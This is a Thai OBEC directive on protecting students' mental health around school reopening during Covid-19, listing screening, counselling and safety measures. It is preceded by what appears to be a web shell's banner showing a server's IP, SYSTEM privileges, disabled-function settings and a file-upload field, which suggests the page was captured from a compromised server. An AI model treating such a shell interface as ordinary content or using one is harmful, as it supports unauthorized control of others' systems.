| Server IP : 104.21.80.248 / Your IP : 162.159.115.42 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/myoffice/2563/data/tkk1text/ |
Upload File : |
<div> <strong>เรื่องเดิม</strong> ตามที่มีสถานการณ์การแพร่ระบาดของโรคติดเชื้อไวรัสโคโรนา ๒๐๑๙ (Covid-๑๙) ส่งผลกระทบในการดำเนินชีวิตของประชาชน โดยเฉพาะอย่างยิ่งการเรียนของเด็กนักเรียนอย่างหลีกเลี่ยงไม่ได้ ทำให้เด็กนักเรียนได้รับผลกระทบด้านสุขภาวะทางจิต อาจมีความต้องการความช่วยเหลือในการขอรับคำปรึกษาเพื่อจัดการความวิตกกังวล ความเครียด และขวัญกำลังใจ</div> <div> </div> <div> <strong>ข้อเท็จจริง</strong> ในการนี้ สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐานมีความห่วงใยต่อสุขภาพจิต (OBEC for Care) ของเด็กนักเรียน อันเนื่องจากสถานการณ์ดังกล่าว จึงขอให้สำนักงานเขตพื้นที่การศึกษา และสถานศึกษาร่วมกันสร้างความตระหนักในการเฝ้าระวัง ป้องกันและแก้ไขปัญหาสุขภาพจิตเด็กนักเรียน ก่อนเปิดภาคเรียนที่ ๑ ปีการศึกษา ๒๕๖๓ (๑ กรกฎาคม ๒๕๖๓) จึงกำหนดมาตรการการเฝ้าระวัง ป้องกันและแก้ไขปัญหาสุขภาพจิตเด็กนักเรียนก่อนปิดภาคเรียนที่ ๑ ปีการศึกษา ๒๕๖๓ (๑ กรกฎาคม ๒๕๖๓) ดังนี้</div> <div> ๑. ให้สถานศึกษาในสังกัดทุกแห่งนำระบบการดูแลช่วยเหลือนักเรียนมาใช้ ตามองค์ประกอบทั้ง ๕ ประการ จัดให้มีการเยี่ยมบ้านนักเรียนก่อนเปิดภาคเรียน คัดกรองสุขภาวะทางจิต จำแนกเป็นกลุ่มปกติกลุ่มเสี่ยง กลุ่มมีปัญหา กรณีพบว่ามีกลุ่มเสี่ยง กลุ่มมีปัญหา ให้รีบดำเนินการป้องกันและแก้ไขปัญหาทันที ระหว่างวันที่ ๘ - ๒๖ มิถุนายน ๒๕๖๓ และรายงานสำนักงานเขตพื้นที่การศึกษา ภายในวันที่ ๓๐ มิถุนายน พ.ศ. ๒๕๖๓</div> <div> ๒. ให้สถานศึกษาในสังกัดทุกแห่งตระหนักถึงผลกระทบสุขภาวะทางจิตของเด็กนักเรียนเนื่องจากผู้ปกครองไม่มีรายได้หรือรายได้ลดลงซึ่งไม่สัมพันธ์กับรายจ่ายหากสถานศึกษามีการเก็บเงินค่าใช้จ่ายอื่น ๆ เพิ่มให้สถานศึกษาพิจารณางด หรือขยายระยะเวลา หรือลดจำนวนการเก็บเงินค่าใช้จ่ายนั้น โดยต้องผ่านความเห็นชอบของคณะกรรมการสถานศึกษาขั้นพื้นฐาน หากมีการร้องเรียน ร้องทุกข์เป็นสื่อสาธารณะในวงกว้าง ให้สำนักงานเขตพื้นที่การศึกษาตรวจสอบให้ได้ข้อเท็จจริงโดยเร็ว</div> <div> <div> ๓. ให้สถานศึกษาจัดให้มีระบบการสาธารณสุขและการให้คำปรึกษาด้านสุขภาวะทางจิตเพื่อเฝ้าระวัง ปัองกันและแก้ไขปัญหาอย่างทันท่วงที จัดให้มีคณะกรรมการระดับสถานศึกษาโดยมีเครือข่ายภายนอก เช่น เจ้าหน้าที่ตำรวจ เจ้าหน้าที่สาธารณสุข หน่วยงานเอกชน กรณีเกิดเหตุฉุกเฉิน ร่วมกันเฝ้าระวังสามารถติดต่อหรือส่งต่อได้อย่างทันท่วงที</div> <div> ๔. ให้สถานศึกษาจัดระบบเวรยามและกำจัดจุดสี่ยง มุมอับ เช่น ห้องน้ำ สระน้ำ อาคารเรียนตรวจกระเป๋านักเรียน เป็นต้น เนื่องจากนักเรียนที่เป็นกลุ่มเสี่ยง กลุ่มมีปัญหา อาจเกิดภาวะซึมเศร้าขั้นวิกฤติทำร้ายตัวเอง เช่น กระโดดจากอาคารเรียน ผูกคอด้วยเชือกหรือผ้า กระโดดน้ำ เสพยาพิษ ใช้อาวุธปืนและของมีคม เป็นต้น และอาจขาดสติกระทำความรุนแรงกับเพื่อนนักเรียนด้วยกันเอง อันเนื่องมาจากการกลั่นแกล้ง ล้อ รังแกกัน</div> <div> <div> ๕. ให้สถานศึกษาติดตาม ตรวจสอบการมาเรียน (กรณีมีการเรียนการสอนปกติ) ของนักเรียนหากพบว่า นักเรียนบางคนไม่มาโรงเรียนต่อเนื่องหลายวัน มอบหมายให้ครูประจำชั้นลงพื้นที่เยี่ยมบ้านเด็กทันที หากพบความผิดปกติให้ดำเนินการแก้ไขปัญหา ช่วยเหลือและรายงานสำนักงานเขตพื้นที่การศึกษาโดยเร็ว</div> <div> ๖. ให้สำนักงานเขตพื้นที่การศึกษามอบหมายให้ศึกษานิเทศก์ นักจิตวิทยาหรือเจ้าหน้าที่กลุ่มส่งเสริมการจัดการศึกษา ออกนิเทศ ติดตาม ช่วยเหลือดูแล และสร้างขวัญกำลังใจผู้บริหารสถานศึกษาและครูในสังกัด ระหว่างวันที่ ๑ - ๑๕ กรกฎาคม ๒๕๖๓ และรายงานผลการดำเนินงานให้ผู้อำนวยการสำนักงานเขตพื้นที่การศึกษาทราบ</div> <div> ๗. สำหรับมาตรการด้านการสาธารณสุขในการป้องกันการแพร่ระบาดของโรคติดเชื้อไวรัสโคโรนา ๒๐๑๙ (Covid-๑๙) นั้น ให้สถานศึกษาปฏิบัติตามมาตรการที่จังหวัดหรือรัฐบาลกำหนดอย่างเคร่งครัด</div> <div> ทั้งนี้ หากมีสถานการณ์วิกฤติที่ส่งผลกระทบต่อเด็กนักเรียนอย่างร้ายแรง ให้สำนักงานเขตพื้นที่การศึกษารายงานมายังสำนักงานคณะกรรมการการศึษาขั้นพื้นฐานทุกซ่องทางการสื่อสาร โดยเร็ว</div> </div> </div>